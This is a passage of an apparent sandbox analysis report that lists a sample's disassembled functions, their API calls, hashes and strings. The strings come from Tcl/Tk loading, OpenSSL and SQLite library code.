Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: cb992dc3656c9c44324079b869f89d8e090d5bf0edf12629a087b7d1aa4258d0
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: 9FE0BF51E0D60292FF157BF2785597991517F94B40FB54035D91D462A1FE2CEC8DC222

Function 00007FF78DA6ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF78DA6AA45,?,?,00000000,00007FF78DA6AAFA), ref: 00007FF78DA6AC36
GetLastError.KERNEL32(?,?,?,00007FF78DA6AA45,?,?,00000000,00007FF78DA6AAFA), ref: 00007FF78DA6AC40

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: 11b825b06d2f4df90cfa4fabadceda2815e9f63f254cf8df35364a9b72fbfa8f
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: 2521A711B1C64281EB9477E2B450A7E9292BF847A0FB84235D92E477C1FE6CEC4DC312

Function 00007FF78DA6BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA6BF44

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: c1059818f53ec85c8e6a1c0b8f46978a3c279a8cf73f3f8bc585a32c2e71f0f4
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: 5241B63290D201C7EA34BBA5B540679B7A4FB55B44FB04131D68D476D1EF2DE806CB62

Function 00007FF78DA57F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF78DA5802A

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 8b238289baf9dddcba6bfc48a855cad56bb9a0da69048aaa23f75c3b13f56717
Instruction ID: 446cc64a2cccb539d2c3f9e237bed5d4a80ee52572a11b335388ea34dc261adc
Opcode Fuzzy Hash: 8b238289baf9dddcba6bfc48a855cad56bb9a0da69048aaa23f75c3b13f56717
Instruction Fuzzy Hash: CE210421B0C65185FA50BAA26400BBAD660BF45BD4FFC0030EE1C47B86EE3CE849C622

Function 00007FF78DA6B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA6BA32

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction ID: 2c39e7b62c8a66b456248d06f544c2e4d8643609d781c570979da2e3d2da2bd8
Opcode Fuzzy Hash: e965e93cbe1d72adb8351a0dc15ff4730447cd31f91a428760958f4d16ec249d
Instruction Fuzzy Hash: C7312C22A1C642C6E6517BA5A841A7CB650BB50F94FF10535EA6D033D2EFBCEC49C732

Function 00007FF78DA66004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA65F69

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 2018f3d165cfbb6e75aaeb171e427196baba683e2521475bf4e14ae6ebd5d0e4
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 0F114522A1D642C1EA617FA1B40097EE264BF45B84FF44031EB4C57A95EF7EDC44C762

Function 00007FF78DA763C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA763E7

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: 649fee75d137b3dae6ac3cf5ea4774374cfbc4a93a35b9dd80ecfc624af3f2ba
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: B021AA7261CA4186D7619F18E440779B7A4FB84B54FB84234D69D476D5EF3CDC08CB11

Function 00007FF78DA6042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA60480

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 999ebc8f07484b07a83fc52c905d4b3eee2c0c8223fc55abd532e99a9a53f8a9
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: D501A521A0C74180EA14EF93A945869E691FF85FE0FB84631DE6C17BDAEE3CD845C315

Function 00007FF78DA59070 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78DA59400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF78DA545E4,00000000,00007FF78DA51985), ref: 00007FF78DA59439

LoadLibraryExW.KERNEL32(?,00007FF78DA56466,?,00007FF78DA5336E), ref: 00007FF78DA59092

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 7140f7c55cf735ced6a4f02887063d730e60c19ae08c919a697b9dfe54228ee6
Instruction ID: b4514a8251dfe4291dc63fefefc13c8da92c824c3c1116e4c5ea95781558b5c6
Opcode Fuzzy Hash: 7140f7c55cf735ced6a4f02887063d730e60c19ae08c919a697b9dfe54228ee6
Instruction Fuzzy Hash: 8BD08611B2824541EA54B76775469359151BB89FC0EA88035EE4D07745ED3CC4458700

Function 00007FF8A92F7E90 Relevance: 1.3, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF8A92F7EC1

Memory Dump Source

Source File: 00000002.00000002.2408503396.00007FF8A92E1000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000002.00000002.2408466922.00007FF8A92E0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9354000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9356000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9379000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9384000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A938E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408720209.00007FF8A9391000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408750040.00007FF8A9393000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a92e0000_9g9LZNE4bH.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4430eee199d92a379efecd2ae30cec23d508c2e698ff6cd2342d21caa557c0b1
Instruction ID: 95670fc137a662020fed57ada426b9933b1d1dd6f97f14ee4d29178d6dac5c57
Opcode Fuzzy Hash: 4430eee199d92a379efecd2ae30cec23d508c2e698ff6cd2342d21caa557c0b1
Instruction Fuzzy Hash: F5217A3260878096E754CF26E5802ADB7A4FB88BD4F148135EB9C83B59CF7CD5A5CB00

Function 00007FF78DA6D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF78DA60D00,?,?,?,00007FF78DA6236A,?,?,?,?,?,00007FF78DA63B59), ref: 00007FF78DA6D6AA

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: 8bf856e36d0fab902f34552de8ddf06b932d8ffd0053ef3b171e2e9ce2095c69
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: BFF03A48F1D30284FE5477B16801E7992907F54BE0FB80230DA2E852C1FE6CEC98C132

Non-executed Functions

Function 00007FF78DA75EEC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF78DA75F1A

Part of subcall function 00007FF78DA75668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA7567C

_get_daylight.LIBCMT ref: 00007FF78DA75F2B

Part of subcall function 00007FF78DA75608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA7561C

_get_daylight.LIBCMT ref: 00007FF78DA75F3C

Part of subcall function 00007FF78DA75638: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA7564C

Part of subcall function 00007FF78DA6A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9CE
Part of subcall function 00007FF78DA6A9B8: GetLastError.KERNEL32(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9D8

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF78DA7617C), ref: 00007FF78DA75F63

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 4f5f64917f1a6fb99e16ec8d4eadf885fc2e5ee96e92320975b551feff7f9d51
Instruction ID: fea08cdac5ad3856041eb7e56a9f0c347b4476cbce18b31b0108825ba6bba921
Opcode Fuzzy Hash: 4f5f64917f1a6fb99e16ec8d4eadf885fc2e5ee96e92320975b551feff7f9d51
Instruction Fuzzy Hash: AE519332A0C64296E710FF31D8819A9E361BB48784FF48135DA9D47696FF3CE809C762

Function 00007FF8A92E1BE0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 237COMMON

Download Yara Rule

APIs

00007FF8C61208A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8A933D300

Strings

..\s\ssl\statem\statem_srvr.c, xrefs: 00007FF8A933D125, 00007FF8A933D186
resumption, xrefs: 00007FF8A933D257

Memory Dump Source

Source File: 00000002.00000002.2408503396.00007FF8A92E1000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8A92E0000, based on PE: true

Associated: 00000002.00000002.2408466922.00007FF8A92E0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9354000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9356000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9379000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A9384000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408503396.00007FF8A938E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408720209.00007FF8A9391000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.2408750040.00007FF8A9393000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a92e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007C61208
String ID: ..\s\ssl\statem\statem_srvr.c$resumption
API String ID: 3535234312-332775882
Opcode ID: 85d43697d99dd48070ad5557b0bfa7d5f884ce26e4a4b16b12b7706924855d9d
Instruction ID: ec3964a36832c4501dafeec03a10b2d163e80e3f7e31d76c81fc1d6f2acec256
Opcode Fuzzy Hash: 85d43697d99dd48070ad5557b0bfa7d5f884ce26e4a4b16b12b7706924855d9d
Instruction Fuzzy Hash: 4AB16E22A1EBC192EB50DF16D8847AA67B0EB85BD8F041039EE8D8B795DF7CD585C700

Function 00007FF78DA576B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF78DA576C7
GetLastError.KERNEL32 ref: 00007FF78DA576D9
GetProcAddress.KERNEL32 ref: 00007FF78DA57715
GetLastError.KERNEL32 ref: 00007FF78DA57727
GetProcAddress.KERNEL32 ref: 00007FF78DA57740
GetLastError.KERNEL32 ref: 00007FF78DA57752
GetProcAddress.KERNEL32 ref: 00007FF78DA5776B
GetLastError.KERNEL32 ref: 00007FF78DA5777D
GetProcAddress.KERNEL32 ref: 00007FF78DA57799
GetLastError.KERNEL32 ref: 00007FF78DA577AB
GetProcAddress.KERNEL32 ref: 00007FF78DA577C7
GetLastError.KERNEL32 ref: 00007FF78DA577D9
GetProcAddress.KERNEL32 ref: 00007FF78DA577F5
GetLastError.KERNEL32 ref: 00007FF78DA57807
GetProcAddress.KERNEL32 ref: 00007FF78DA57823
GetLastError.KERNEL32 ref: 00007FF78DA57835
GetProcAddress.KERNEL32 ref: 00007FF78DA57851
GetLastError.KERNEL32 ref: 00007FF78DA57863

Strings

Tk_GetNumMainWindows, xrefs: 00007FF78DA57C97, 00007FF78DA57CB9
Tcl_EvalObjv, xrefs: 00007FF78DA57BDF, 00007FF78DA57C01
Tcl_MutexUnlock, xrefs: 00007FF78DA578D1, 00007FF78DA578F3
Tcl_SetVar2Ex, xrefs: 00007FF78DA57B27, 00007FF78DA57B49
Tcl_Alloc, xrefs: 00007FF78DA57C0D, 00007FF78DA57C2F
Tcl_FinalizeThread, xrefs: 00007FF78DA577BD, 00007FF78DA577DF
Tcl_ThreadAlert, xrefs: 00007FF78DA579E5, 00007FF78DA57A07
Failed to get address for %hs, xrefs: 00007FF78DA576E8
Tcl_CreateObjCommand, xrefs: 00007FF78DA57A6F, 00007FF78DA57A91
Tcl_ConditionFinalize, xrefs: 00007FF78DA5792D, 00007FF78DA5794F
Tcl_ConditionNotify, xrefs: 00007FF78DA5795B, 00007FF78DA5797D
Tcl_GetString, xrefs: 00007FF78DA57A9D, 00007FF78DA57ABF
Tcl_GetObjResult, xrefs: 00007FF78DA57B55, 00007FF78DA57B77
Tcl_GetCurrentThread, xrefs: 00007FF78DA57847, 00007FF78DA57869
Tcl_FindExecutable, xrefs: 00007FF78DA57736, 00007FF78DA57758
Tcl_NewStringObj, xrefs: 00007FF78DA57ACB, 00007FF78DA57AED
Tcl_Init, xrefs: 00007FF78DA576C0, 00007FF78DA576DF
Tcl_NewByteArrayObj, xrefs: 00007FF78DA57AF9, 00007FF78DA57B1B
Tcl_DoOneEvent, xrefs: 00007FF78DA57761, 00007FF78DA57783
Tcl_Free, xrefs: 00007FF78DA57C3B, 00007FF78DA57C5D
Tcl_ConditionWait, xrefs: 00007FF78DA57989, 00007FF78DA579AB
Tcl_SetVar2, xrefs: 00007FF78DA57A41, 00007FF78DA57A63
Tcl_MutexFinalize, xrefs: 00007FF78DA578FF, 00007FF78DA57921
Tcl_GetVar2, xrefs: 00007FF78DA57A13, 00007FF78DA57A35
Tcl_DeleteInterp, xrefs: 00007FF78DA577EB, 00007FF78DA5780D
Tcl_MutexLock, xrefs: 00007FF78DA578A3, 00007FF78DA578C5
Tcl_Finalize, xrefs: 00007FF78DA5778F, 00007FF78DA577B1
Tcl_EvalEx, xrefs: 00007FF78DA57BB1, 00007FF78DA57BD3
GetProcAddress, xrefs: 00007FF78DA576EF
Tcl_CreateThread, xrefs: 00007FF78DA57819, 00007FF78DA5783B
Tcl_JoinThread, xrefs: 00007FF78DA57875, 00007FF78DA57897
Tk_Init, xrefs: 00007FF78DA57C69, 00007FF78DA57C8B
Tcl_ThreadQueueEvent, xrefs: 00007FF78DA579B7, 00007FF78DA579D9
Tcl_CreateInterp, xrefs: 00007FF78DA5770B, 00007FF78DA5772D
Tcl_EvalFile, xrefs: 00007FF78DA57B83, 00007FF78DA57BA5

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction ID: f17b801c66fbee25e92912b887ae592251ef3577344d60a7e9617627fd5ad745
Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction Fuzzy Hash: 9B029064A0DB0BD1EA15BB95E814DB5A2A1BF04755BF40035D8AE622A4FF3CBD4DC332

Function 00007FF8A881ECF0 Relevance: 16.2, APIs: 1, Strings: 8, Instructions: 487COMMON

Download Yara Rule

APIs

00007FF8BFAB19C0.VCRUNTIME140 ref: 00007FF8A881EDBC

Strings

out of memory, xrefs: 00007FF8A881EE28
foreign key, xrefs: 00007FF8A881EF93
indexed, xrefs: 00007FF8A881EFE0
cannot open virtual table: %s, xrefs: 00007FF8A881F35F
cannot open %s column for writing, xrefs: 00007FF8A881F31B
cannot open table without rowid: %s, xrefs: 00007FF8A881F356
cannot open view: %s, xrefs: 00007FF8A881F34D
no such column: "%s", xrefs: 00007FF8A881F339

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"$out of memory
API String ID: 3568877910-554953066
Opcode ID: a10e177a3e85b3714625d66b2cd7fe7964119e7fc03f594d628cf93d522f3f03
Instruction ID: 36bc1c5546cb6c293e83df49bdf528c5d9b1816a36df758dceb41de5746c9466
Opcode Fuzzy Hash: a10e177a3e85b3714625d66b2cd7fe7964119e7fc03f594d628cf93d522f3f03
Instruction Fuzzy Hash: 6B32DB72B2AB82AAEB64DF25D4806AD37A4FB48BC4F404275DE4D43799DF38E450C714

